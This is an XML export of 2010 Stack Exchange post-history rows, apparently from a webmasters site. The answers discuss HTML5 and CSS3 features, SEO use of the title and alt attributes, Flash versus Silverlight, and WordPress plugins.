  <row Id="1808" PostHistoryTypeId="5" PostId="990" RevisionGUID="3aab5fcb-8dc3-4000-90af-0941cb719b23" CreationDate="2010-07-16T02:14:38.853" UserId="179" Comment="Info about CSS3 counters and HTML5 forms added." Text="To keep track of features and specifications support you can check &lt;a href=&quot;http://caniuse.com/&quot;&gt;When can I use&lt;/a&gt;. It includes HTML5 and CSS3 features and things like SVG, PNG, CSS2.1 and CSS2. It also tracks their status of approval (Recommendation, Proposed Recommendation, Candidate Recommendation, Working Draft, IETF standard). &lt;a href=&quot;http://www.findmebyip.com/litmus/&quot;&gt;FindMeByIP&lt;/a&gt; maintains matrices of supported CSS3 features only, by browser.&#xD;&#xA;&#xD;&#xA;Some rejiggering and simplification of syntax took place in the nuts and bolts:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;Simplified doctype string: &lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Simplified &lt;code&gt;language&lt;/code&gt; attribute for &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; tag: &lt;code&gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&lt;/code&gt;&lt;br /&gt;(can still include &lt;code&gt;xmlns&lt;/code&gt; and &lt;code&gt;xml:lang&lt;/code&gt; if you want XML compliance)&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Dedicated &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; tag for &lt;code&gt;charset&lt;/code&gt;: &lt;code&gt;&amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;script&lt;/code&gt; no longer accepts &lt;code&gt;type&lt;/code&gt; attribute, requires &lt;code&gt;charset&lt;/code&gt;:&lt;br /&gt;&lt;code&gt;&amp;lt;script src=&quot;/media/js/jquery.js&quot; charset=&quot;utf-8&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;HTML5 brings the ability for your markup to be much more &lt;em&gt;semantic&lt;/em&gt;, and overall much easier to read/write and have smaller file sizes. Instead of having &lt;code&gt;&amp;lt;div id=&quot;nav&quot;&amp;gt;&lt;/code&gt;, you just have &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;. Doesn't seem like much but it adds up.&#xD;&#xA;&#xD;&#xA;Many elements from XHTML1 and HTML4 have been deprecated. The following elements are not supported in HTML5: &lt;code&gt;&amp;lt;acronym&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;applet&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;basefont&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;big&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;center&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;dir&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;font&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;frame&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;frameset&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;noframes&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;s&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;strike&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;tt&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;u&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;xmp&amp;gt;&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;Several new elements in HTML5 are meant to only add more semantic markup, and will do nothing except provide a more meaningful alternative to &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;. These new elements include: &lt;code&gt;&amp;lt;article&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;section&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;aside&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;hgroup&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;header&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;footer&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;time&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;mark&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;figure&amp;gt;&lt;/code&gt;, and &lt;code&gt;&amp;lt;figcaption&amp;gt;&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;HTML5 forms are &lt;em&gt;greatly&lt;/em&gt; improved.&#xD;&#xA;&#xD;&#xA;New Input Types&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&#xD;&#xA;&lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#color-state&quot;&gt;color&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#e-mail-state&quot;&gt;email&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#date-state&quot;&gt;date&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#month-state&quot;&gt;month&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#week-state&quot;&gt;week&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#time-state&quot;&gt;time&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#date-and-time-state&quot;&gt;datetime&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#local-date-and-time-state&quot;&gt;datetime-local&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#number-state&quot;&gt;number&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#range-state&quot;&gt;range&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#text-state-and-search-state&quot;&gt;search&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#telephone-state&quot;&gt;tel&lt;/a&gt;, and &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/states-of-the-type-attribute.html#url-state&quot;&gt;url&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;New Attributes:&#xD;&#xA;&lt;ul&gt;&lt;li&gt;&#xD;&#xA;&lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#the-required-attribute&quot;&gt;required&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#autofocusing-a-form-control&quot;&gt;autofocus&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#attr-input-pattern&quot;&gt;pattern&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#the-list-attribute&quot;&gt;list&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#the-autocomplete-attribute&quot;&gt;autocomplete&lt;/a&gt; and &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/common-input-element-attributes.html#the-placeholder-attribute&quot;&gt;placeholder&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;New Elements&#xD;&#xA;&lt;ul&gt;&lt;li&gt;&#xD;&#xA;&lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-keygen-element&quot;&gt;&lt;code&gt;&amp;lt;keygen&amp;gt;&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-datalist-element&quot;&gt;&lt;code&gt;&amp;lt;datalist&amp;gt;&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-output-element&quot;&gt;&lt;code&gt;&amp;lt;output&amp;gt;&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-meter-element&quot;&gt;&lt;code&gt;&amp;lt;meter&amp;gt;&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.whatwg.org/specs/web-apps/current-work/multipage/the-button-element.html#the-progress-element&quot;&gt;&lt;code&gt;&amp;lt;progress&amp;gt;&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;We could go into forms all day, but here are some resources to explain all this new stuff better.&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://diveintohtml5.org/forms.html&quot;&gt;A Form of Madness&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.yourinspirationweb.com/en/the-future-of-the-web-how-well-create-forms-in-html5/&quot;&gt;The Future of The Web: How We’ll Create Form in HTML5&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.456bereastreet.com/archive/201004/html5_input_types/&quot;&gt;HTML5 Input Types&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://24ways.org/2009/have-a-field-day-with-html5-forms&quot;&gt;Have a Field Day with HTML5 Forms&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://net.tutsplus.com/tutorials/html-css-techniques/rethinking-forms-in-html5/&quot;&gt;Rethinking Forms in HTML5&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;a href=&quot;http://snook.ca/archives/html_and_css/html5-forms-are-coming&quot;&gt;HTML5 Forms Are Coming&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;CSS3 brings the wonderful of &lt;a href=&quot;http://www.w3.org/TR/css3-mediaqueries/&quot;&gt;Media Queries&lt;/a&gt;. Media Queries are so, so, &lt;strong&gt;so&lt;/strong&gt; great. Not available in IE8 and below, but will be supported by IE9.&#xD;&#xA;&#xD;&#xA;CSS3 has &lt;a href=&quot;http://www.w3.org/TR/css3-content/#counters&quot;&gt;incrementing counters&lt;/a&gt;. You can use these to auto-number elements without an ordered-list using the &lt;code&gt;:before&lt;/code&gt; pseudo-selector and the &lt;code&gt;content&lt;/code&gt; style when an ordered-list or numbering would be semantically incorrect. (For example, numbering the steps of filling out form fields.)&#xD;&#xA;&#xD;&#xA;If you're a fan of CSS Resets, there's an &lt;a href=&quot;http://html5doctor.com/html-5-reset-stylesheet/&quot;&gt;HTML5 CSS Reset&lt;/a&gt; available from HTML5 Doctor. I have made three additions to this reset for my personal pages:&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;text-rendering: optimizeLegibility;&lt;/code&gt; added to the styles in the definition for &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;&lt;code&gt;label&lt;/code&gt; included in definition with &lt;code&gt;input&lt;/code&gt; and &lt;code&gt;select&lt;/code&gt; since it needs &lt;code&gt;vertical-align: middle;&lt;/code&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;styles for &lt;code&gt;ins&lt;/code&gt; and &lt;code&gt;:focus&lt;/code&gt; from &lt;a href=&quot;http://meyerweb.com/eric/tools/css/reset/&quot;&gt;Eric Meyer's CSS Reset&lt;/a&gt; added back in&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;A competing reset called &lt;a href=&quot;http://code.google.com/p/reset5/&quot;&gt;reset5&lt;/a&gt; is available, but I have not yet evaluated it personally. It is based on &lt;em&gt;both&lt;/em&gt; the Eric Meyer and HTML5 Doctor resets.&#xD;&#xA;&#xD;&#xA;The &lt;a href=&quot;http://heideri.ch/jso/&quot;&gt;HTML5 Security Cheatsheet&lt;/a&gt; tracks bugs in HTML5 features as implemented in various browsers, and also includes bugs in existing features that are good to keep track of as well.&#xD;&#xA;&#xD;&#xA;Using HTML5 elements does not automatically make your code semantic, however. The WHATWG has written an article called &lt;a href=&quot;http://blog.whatwg.org/is-not-just-a-semantic&quot;&gt;&amp;lt;section&amp;gt; is not just a &quot;semantic &amp;lt;div&amp;gt;&quot;&lt;/a&gt; explaining that it is not simply a container element.&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;In HTML 5, there is an algorithm for constructing an outline view of documents. This can be used, for example by AT, to help a user navigate through a document. And &amp;lt;section&amp;gt; and friends are an important part of this algorithm. Each time you nest a &amp;lt;section&amp;gt;, you increase the outline depth by 1 (in case you are wondering what the advantages of this model are compared to the traditional &amp;lt;h1&amp;gt;-&amp;lt;h6&amp;gt; model, consider a web based feedreader that wants to integrate the document structure of the syndicated content with that of the surrounding site. In HTML 4 this means parsing all the content and renumbering all the headings. In HTML5 the headings end up at the right depth for free).&#xD;&#xA;&#xD;&#xA;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&#xD;&#xA;&#xD;&#xA;If you just blindly convert all the &amp;lt;div&amp;gt;s on your pages to &amp;lt;sections&amp;gt; it's pretty unlikely your page will have the outline you expected. And, apart from being a semantic faux-pas, this will confuse the hell out of people who rely on headings for navigation.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;Like everything else in this world, there's a framework for HTML5 web applications called &lt;a href=&quot;http://www.sproutcore.com/&quot;&gt;SproutCore&lt;/a&gt;, built by an &lt;a href=&quot;http://blog.sproutcore.com/post/756343010/the-next-revolution&quot;&gt;ex-Apple engineer&lt;/a&gt; named Charles Jolley.&#xD;&#xA;&#xD;&#xA;In addition to &lt;a href=&quot;http://html5rocks.com&quot;&gt;html5rocks.com&lt;/a&gt; you can keep up with &lt;a href=&quot;http://html5doctor.com&quot;&gt;html5doctor.com&lt;/a&gt; and &lt;a href=&quot;http://html5gallery.com&quot;&gt;html5gallery.com&lt;/a&gt;." />
  <row Id="1809" PostHistoryTypeId="6" PostId="1000" RevisionGUID="f6ad8be0-617d-4463-8c88-6f0a49512b8d" CreationDate="2010-07-16T02:39:15.533" UserId="180" Comment="edited tags" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;images&gt;" />
  <row Id="1810" PostHistoryTypeId="2" PostId="1002" RevisionGUID="1148f729-506f-4876-9038-fe16abd24919" CreationDate="2010-07-16T02:47:24.063" UserId="17" Text="You will need to include alt text in your images to achieve this. Google should index you as normal.&#xD;&#xA;&#xD;&#xA;Please let me know if I'm wrong here." />
  <row Id="1811" PostHistoryTypeId="2" PostId="1003" RevisionGUID="b2e53490-6c90-46d3-980a-fad1f3e849f6" CreationDate="2010-07-16T02:54:31.800" UserId="17" Text="Jeremy Kieth just released a really good book on the topic, &quot;HTML5 for Web Designers&quot;. you might want to check that out.&#xD;&#xA;&#xD;&#xA;It is the first book from A Book Apart. Highly recommend it to intermediate to advanced designers. A++&#xD;&#xA;&#xD;&#xA;http://books.alistapart.com/&#xD;&#xA;&#xD;&#xA;**NOTE**: you may have to wait to get a hard copy" />
  <row Id="1812" PostHistoryTypeId="2" PostId="1004" RevisionGUID="df56aace-b081-44ad-90d4-3a1a6a5e46c5" CreationDate="2010-07-16T03:14:03.353" UserId="237" Text="You definitely don't have to opt-in to google image search any more, just provide well formed image tags (widths, heights, alt tags) and google will do its thing." />
  <row Id="1813" PostHistoryTypeId="2" PostId="1005" RevisionGUID="c4cdb2d0-30a4-4ad2-aaba-2bf5a4393680" CreationDate="2010-07-16T03:42:26.997" UserId="180" Text="The title attribute is an HTML standard element available across most tags.  e.g.&#xD;&#xA;&#xD;&#xA;&gt;    `&lt;li&gt;&lt;a title=&quot;Widgets listed by household function&quot; href=&quot;/widgets/by-function.html&quot;&gt;by Function&lt;/a&gt;&lt;/li&gt;`&#xD;&#xA;&#xD;&#xA;I've used this attribute on some sites for usability;  many browsers pop up a &quot;tooltip&quot; over the link with the more detailed description of what is on the other side.&#xD;&#xA;&#xD;&#xA;I've been wondering if doing so is having a negative effect on my rankings (hidden text?) or if it has any effect at all on onsite or offsite keyword relevance calculations.&#xD;&#xA;&#xD;&#xA;Does anyone know of any research done on this?" />
  <row Id="1814" PostHistoryTypeId="1" PostId="1005" RevisionGUID="c4cdb2d0-30a4-4ad2-aaba-2bf5a4393680" CreationDate="2010-07-16T03:42:26.997" UserId="180" Text="Is the title attribute (not tag) important to SEO?" />
  <row Id="1815" PostHistoryTypeId="3" PostId="1005" RevisionGUID="c4cdb2d0-30a4-4ad2-aaba-2bf5a4393680" CreationDate="2010-07-16T03:42:26.997" UserId="180" Text="&lt;seo&gt;&lt;html&gt;&lt;links&gt;" />
  <row Id="1816" PostHistoryTypeId="2" PostId="1006" RevisionGUID="8ed3ead6-67f8-4f4b-a9c7-1c6a647344a9" CreationDate="2010-07-16T03:43:44.780" UserId="237" Text="it's a positive effect, that title will be associated with that link as a kind of set of keywords." />
  <row Id="1817" PostHistoryTypeId="2" PostId="1007" RevisionGUID="b6f18a85-5bbe-47a0-9b76-cd8b79466cfc" CreationDate="2010-07-16T03:46:52.487" UserId="237" Text="Tim Post naoled it, while they only show 65 i've seen returns on words that are easily outside that limit.&#xD;&#xA;&#xD;&#xA;Also remember while it's great to tailor your title to the search engine, users read them to and spammy titles annoy users." />
  <row Id="1818" PostHistoryTypeId="2" PostId="1008" RevisionGUID="4ed8d644-b065-450b-87dd-d7a3349300fa" CreationDate="2010-07-16T04:13:21.970" UserId="179" Text="According to SEOmoz's article &lt;a href=&quot;http://www.seomoz.org/ugc/link-tilte-attribute-and-its-seo-benefit&quot;&gt;Link Title Attribute and its SEO Benefit&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;The title attribute can be used to describe almost any HTML element. A beneficial way to use the title attribute for SEO purposes would be to use it in the link element to provide descriptive text within an anchor tag (which gives you more real estate for your targeted keyword phrases). I would suggest not to duplicate your anchor text (for usability purposes). It's supposed to provide supplementary information and let the users know where the link will direct them to if they click on it. When creating your link titles, optimize for keyword phrases you’re targeting on the linked to page (just as you would with anchor text). Search engines only use them in consideration to the page being linked to, not the page the link is on.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;So yes, they will be used in consideration for the content of the page you're linking to. If you're trying to optimize for keywords on your current page, do not use those keywords in your &lt;code&gt;title&lt;/code&gt; attributes. It should be the keywords that you're optimizing for on the page the link leads to." />
  <row Id="1819" PostHistoryTypeId="5" PostId="1008" RevisionGUID="650630d4-ae34-4deb-a13a-7cfb58371312" CreationDate="2010-07-16T04:20:12.933" UserId="179" Comment="added 345 characters in body" Text="According to SEOmoz's article &lt;a href=&quot;http://www.seomoz.org/ugc/link-tilte-attribute-and-its-seo-benefit&quot;&gt;Link Title Attribute and its SEO Benefit&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;The title attribute can be used to describe almost any HTML element. A beneficial way to use the title attribute for SEO purposes would be to use it in the link element to provide descriptive text within an anchor tag (which gives you more real estate for your targeted keyword phrases). I would suggest not to duplicate your anchor text (for usability purposes). It's supposed to provide supplementary information and let the users know where the link will direct them to if they click on it. When creating your link titles, optimize for keyword phrases you’re targeting on the linked to page (just as you would with anchor text). Search engines only use them in consideration to the page being linked to, not the page the link is on.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;So yes, they will be used in consideration for the content of the page you're linking to. If you're trying to optimize for keywords on your current page, do not use those keywords in your &lt;code&gt;title&lt;/code&gt; attributes. It should be the keywords that you're optimizing for on the page the link leads to.&#xD;&#xA;&#xD;&#xA;The &lt;code&gt;title&lt;/code&gt; attribute isn't specifically for creating tooltips, however most browsers generate tooltips for links that have a &lt;code&gt;title&lt;/code&gt; set.&#xD;&#xA;&#xD;&#xA;When used for images, the &lt;code&gt;title&lt;/code&gt; attribute is less important to SEO than the &lt;code&gt;alt&lt;/code&gt; attribute, but more important than the &lt;code&gt;longdesc&lt;/code&gt; attribute." />
  <row Id="1820" PostHistoryTypeId="5" PostId="1008" RevisionGUID="03914336-c696-41dc-99a5-1c54ad0642f8" CreationDate="2010-07-16T04:26:45.750" UserId="179" Comment="added 278 characters in body" Text="According to SEOmoz's article &lt;a href=&quot;http://www.seomoz.org/ugc/link-tilte-attribute-and-its-seo-benefit&quot;&gt;Link Title Attribute and its SEO Benefit&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;&lt;blockquote&gt;The title attribute can be used to describe almost any HTML element. A beneficial way to use the title attribute for SEO purposes would be to use it in the link element to provide descriptive text within an anchor tag (which gives you more real estate for your targeted keyword phrases). I would suggest not to duplicate your anchor text (for usability purposes). It's supposed to provide supplementary information and let the users know where the link will direct them to if they click on it. When creating your link titles, optimize for keyword phrases you’re targeting on the linked to page (just as you would with anchor text). Search engines only use them in consideration to the page being linked to, not the page the link is on.&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&#xD;&#xA;&#xD;&#xA;So yes, they will be used in consideration for the content of the page you're linking to. If you're trying to optimize for keywords on your current page, do not use those keywords in your &lt;code&gt;title&lt;/code&gt; attributes. It should be the keywords that you're optimizing for on the page the link leads to.&#xD;&#xA;&#xD;&#xA;The &lt;code&gt;title&lt;/code&gt; attribute isn't specifically for creating tooltips, however most browsers generate tooltips for elements that have a &lt;code&gt;title&lt;/code&gt; set. You can use &lt;code&gt;title&lt;/code&gt;s on many different elements, so keep the tooltips in mind when using them. It can get very annoying when used on things like &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;th&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;tr&amp;gt;&lt;/code&gt;, and &lt;code&gt;&amp;lt;td&amp;gt;&lt;/code&gt; all at once.&#xD;&#xA;&#xD;&#xA;When used for images, the &lt;code&gt;title&lt;/code&gt; attribute is less important to SEO than the &lt;code&gt;alt&lt;/code&gt; attribute, but more important than the &lt;code&gt;longdesc&lt;/code&gt; attribute." />
  <row Id="1821" PostHistoryTypeId="2" PostId="1009" RevisionGUID="f30296c9-20f1-4997-bac0-c982b8604fa4" CreationDate="2010-07-16T04:44:13.813" UserId="449" Text="Design is much more than creating a beautiful interface.  It should be functional, meaning that the user can get what they need, Easy to learn/use, and sufficiently attractive and professional enough to give users, especially new ones, confidence that what they can get from the site is worth having.&#xD;&#xA;&#xD;&#xA;Once you have a much better idea of what the website needs to do and how it should work, it will be easier to dress it up a little with an appropriate design, since much of the underlying structural work has been done.&#xD;&#xA;&#xD;&#xA;There are many excellent resources covering this, but my favorite is [Boag World][1], the blog of Paul Boag. It covers all aspects of web design, including user experience, and does a very good job balancing all important aspects. They just stopped doing their weekly podcast, but the archives, which go back over 200 episodes, contain volumes of useful information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://boagworld.com/" />
  <row Id="1822" PostHistoryTypeId="2" PostId="1010" RevisionGUID="6d7e16fa-466e-4b7d-ad1f-55e61fa2118b" CreationDate="2010-07-16T04:48:43.153" UserId="179" Text="Images are included based on many things. &#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;keywords on the page containing the image&lt;/li&gt;&#xD;&#xA;&lt;li&gt;the &lt;code&gt;alt&lt;/code&gt; attribute of the image tag&lt;/li&gt;&#xD;&#xA;&lt;li&gt;the &lt;code&gt;title&lt;/code&gt; attribute of links that link directly to that image&lt;/li&gt;&#xD;&#xA;&lt;li&gt;the &lt;em&gt;filename&lt;/em&gt; of the image&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Of all of these, the filename is probably the most commonly overlooked. In the same way that descriptive URLs are beneficial to pages, descriptive filenames are beneficial to images.&#xD;&#xA;&#xD;&#xA;Google also suggests that not only the page be optimized, but that specifically the text surrounding the image be descriptive for that image." />
  <row Id="1823" PostHistoryTypeId="2" PostId="1011" RevisionGUID="72577183-2d0a-4bd8-8cb6-15e31c8d188f" CreationDate="2010-07-16T04:49:58.610" UserId="448" Text="Personally, I have a Flash blocker installed because I don't much care for Flash or Silverlight.  I'm also not a professional web developer but I feel that the safe answer is probably &quot;it depends on who your target audience is&quot;.  At this point it seems that HTML 5 has a bright future and the potential to reach a broader range of devices- but Flash does have a large installed base and can be used for lots of things *right now* without worrying about how modern the user's browser is.&#xD;&#xA;&#xD;&#xA;That being said, I did notice an interesting use that exploits Silverlight's connection to the .NET framework.  [trypython.org](http://www.trypython.org) uses Silverlight to deliver the IronPython into the client's browser which allows for all sorts of neat shenanigans.&#xD;&#xA;&#xD;&#xA;So, Silverlight and Flash are important in that they provide an alternative to JavaScript for client-side programming.  And alternatives are always good. " />
  <row Id="1824" PostHistoryTypeId="2" PostId="1012" RevisionGUID="50d7c598-8b2a-4e1f-b3a2-a5f0525bda53" CreationDate="2010-07-16T04:57:31.330" UserId="449" Text="**Facebook Connect** WordPress Plugin (compatible with WP 3.0) is very strong. Here's a list of features from the website.&#xD;&#xA;&#xD;&#xA;    * Open Graph Social Plugins (New!), like, activity and recommendations&#xD;&#xA;    * Build a community&#xD;&#xA;    * Login using your Facebook account&#xD;&#xA;    * Send comments to Facebook profile feed&#xD;&#xA;    * Invite your friends to the blog community&#xD;&#xA;    * See last visitors&#xD;&#xA;    * Facebook share counter&#xD;&#xA;    * Facebook fan page widget&#xD;&#xA;    * Facebook comments box&#xD;&#xA;    * Facebook user email store&#xD;&#xA;&#xD;&#xA;**Post to Twitter** is a highly rated plugin to send out a tweet every time you post on your blog, and vice versa, depending on configuration." />
  <row Id="1825" PostHistoryTypeId="5" PostId="1010" RevisionGUID="c4d3549c-bc2f-43d5-a74d-485a22e7068e" CreationDate="2010-07-16T04:58:11.547" UserId="179" Comment="More google content" Text="Images are included based on many things. &#xD;&#xA;&#xD;&#xA;&lt;ul&gt;&#xD;&#xA;&lt;li&gt;keywords on the page containing the image&lt;/li&gt;&#xD;&#xA;&lt;li&gt;the &lt;code&gt;alt&lt;/code&gt; attribute of the image tag&lt;/li&gt;&#xD;&#xA;&lt;li&gt;the &lt;code&gt;title&lt;/code&gt; attribute of links that link directly to that image&lt;/li&gt;&#xD;&#xA;&lt;li&gt;the &lt;em&gt;filename&lt;/em&gt; of the image&lt;/li&gt;&#xD;&#xA;&lt;/ul&gt;&#xD;&#xA;&#xD;&#xA;Of all of these, the filename is probably the most commonly overlooked. In the same way that descriptive URLs are beneficial to pages, descriptive filenames are beneficial to images.&#xD;&#xA;&#xD;&#xA;Google also suggests that not only the page be optimized, but that specifically the text surrounding the image be descriptive for that image. Their &lt;a href=&quot;http://www.google.com/support/webmasters/bin/answer.py?answer=114016&quot;&gt;Images page at Webmaster Tools&lt;/a&gt; provides guidelines for optimizing pages with images, as well as optimizing those images for Google Image Search." />
  <row Id="1826" PostHistoryTypeId="2" PostId="1013" RevisionGUID="52311964-c998-47c4-b6d6-7cd5a5e8c408" CreationDate="2010-07-16T05:04:36.030" UserId="179" Text="If the audience your website is targeted to doesn't use IE, then no, you should not use Flash or Silverlight.&#xD;&#xA;&#xD;&#xA;If the audience your website is targeted to does use IE, and if you need to do something that only Flash or Silverlight can do (deliver video, let's say) then you don't have any alternatives that are as easy to deal with, or with as large a userbase.&#xD;&#xA;&#xD;&#xA;If what you want to do with Flash or Silverlight is something that shouldn't be done with them in the first place (a navigation, let's say) then I have nothing left to say to you. Good day, sir. " />
  <row Id="1827" PostHistoryTypeId="2" PostId="1014" RevisionGUID="af5d7e60-df6e-4c67-b097-e358092ad43c" CreationDate="2010-07-16T05:15:12.113" UserId="449" Text="Because you can have pages (static) as well as posts (dynamic) you can use WordPress to do nearly anything, though it may not be the most efficient vehicle, depending on your needs.&#xD;&#xA;&#xD;&#xA;The biggest benefit is separating the data, and the entry &amp; management of that data, from the backend, technical part of the site.  This enables non-technical users to create and post the content without having to know any HTML or CSS.&#xD;&#xA;&#xD;&#xA;With available PHP functions and plugins, you can bend WP to your will easily by downloading and installing any of thousands available, or if what you need isn't available you can write or commission your own custom work.&#xD;&#xA;&#xD;&#xA;WP Pages are technically the same as posts but are treated differently, namely they are static, and have no relationship to each other unless you build it with a hierarchy or a menu.&#xD;&#xA;&#xD;&#xA;The new custom post type (really a page rather than a post) is a way to add structure to pages so that you can have standardized information on all of the custom posts of a given type.  For example, on a real estate site, you could have a custom post type for houses, that had fields for all the standard features of these properties, like # of bedrooms, etc.&#xD;&#xA;&#xD;&#xA;A new item is added to the admin menu for each custom type, so the non-tech content providers can add a house as easily as adding a post.&#xD;&#xA;&#xD;&#xA;e-Commerce add-ons to WP work this way, and are all being upgraded to work with the newest version of WP, instead of having their own nonstandard approach." />
